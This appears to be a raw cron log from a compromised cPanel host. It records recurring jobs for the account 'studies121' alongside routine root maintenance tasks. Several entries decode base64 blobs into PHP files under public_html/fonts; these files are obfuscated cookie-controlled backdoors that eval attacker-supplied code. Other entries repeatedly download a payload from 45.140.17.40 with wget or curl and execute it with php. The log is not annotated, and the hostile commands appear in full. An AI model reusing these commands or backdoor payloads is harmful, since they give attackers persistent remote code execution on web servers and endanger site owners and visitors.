Feb 22 07:38:01 ip-184-168-122-23 CROND[3841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:38:01 ip-184-168-122-23 CROND[3843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:38:01 ip-184-168-122-23 CROND[3842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:39:01 ip-184-168-122-23 CROND[4264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:39:01 ip-184-168-122-23 CROND[4268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:39:01 ip-184-168-122-23 CROND[4271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:39:01 ip-184-168-122-23 CROND[4270]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 07:39:01 ip-184-168-122-23 CROND[4272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:40:01 ip-184-168-122-23 CROND[4646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:40:01 ip-184-168-122-23 CROND[4647]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 07:40:01 ip-184-168-122-23 CROND[4650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:40:01 ip-184-168-122-23 CROND[4651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:40:01 ip-184-168-122-23 CROND[4655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:40:01 ip-184-168-122-23 CROND[4658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:40:01 ip-184-168-122-23 CROND[4656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:40:01 ip-184-168-122-23 CROND[4657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:41:01 ip-184-168-122-23 CROND[5002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:41:01 ip-184-168-122-23 CROND[5004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:41:01 ip-184-168-122-23 CROND[5006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:41:01 ip-184-168-122-23 CROND[5005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:42:01 ip-184-168-122-23 CROND[5357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:42:01 ip-184-168-122-23 CROND[5356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:42:01 ip-184-168-122-23 CROND[5360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:42:01 ip-184-168-122-23 CROND[5359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:42:01 ip-184-168-122-23 CROND[5362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:43:01 ip-184-168-122-23 CROND[5679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:43:01 ip-184-168-122-23 CROND[5681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:43:01 ip-184-168-122-23 CROND[5682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:43:01 ip-184-168-122-23 CROND[5684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:44:01 ip-184-168-122-23 CROND[6003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:44:01 ip-184-168-122-23 CROND[6004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:44:01 ip-184-168-122-23 CROND[6005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:44:01 ip-184-168-122-23 CROND[6008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:44:01 ip-184-168-122-23 CROND[6010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:45:01 ip-184-168-122-23 CROND[6401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:45:01 ip-184-168-122-23 CROND[6403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:45:01 ip-184-168-122-23 CROND[6404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:45:01 ip-184-168-122-23 CROND[6407]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:45:01 ip-184-168-122-23 CROND[6405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:45:01 ip-184-168-122-23 CROND[6408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:46:01 ip-184-168-122-23 CROND[6758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:46:01 ip-184-168-122-23 CROND[6762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:46:01 ip-184-168-122-23 CROND[6760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:46:01 ip-184-168-122-23 CROND[6761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:46:01 ip-184-168-122-23 CROND[6765]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 07:46:01 ip-184-168-122-23 CROND[6764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:47:01 ip-184-168-122-23 CROND[7098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:47:01 ip-184-168-122-23 CROND[7100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:47:01 ip-184-168-122-23 CROND[7101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:47:01 ip-184-168-122-23 CROND[7103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:48:01 ip-184-168-122-23 CROND[7431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:48:01 ip-184-168-122-23 CROND[7434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:48:01 ip-184-168-122-23 CROND[7433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:48:01 ip-184-168-122-23 CROND[7435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:48:01 ip-184-168-122-23 CROND[7436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:49:01 ip-184-168-122-23 CROND[7813]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 22 07:49:01 ip-184-168-122-23 CROND[7814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:49:01 ip-184-168-122-23 CROND[7816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:49:01 ip-184-168-122-23 CROND[7815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:49:01 ip-184-168-122-23 CROND[7817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:50:01 ip-184-168-122-23 CROND[8156]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 07:50:01 ip-184-168-122-23 CROND[8159]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
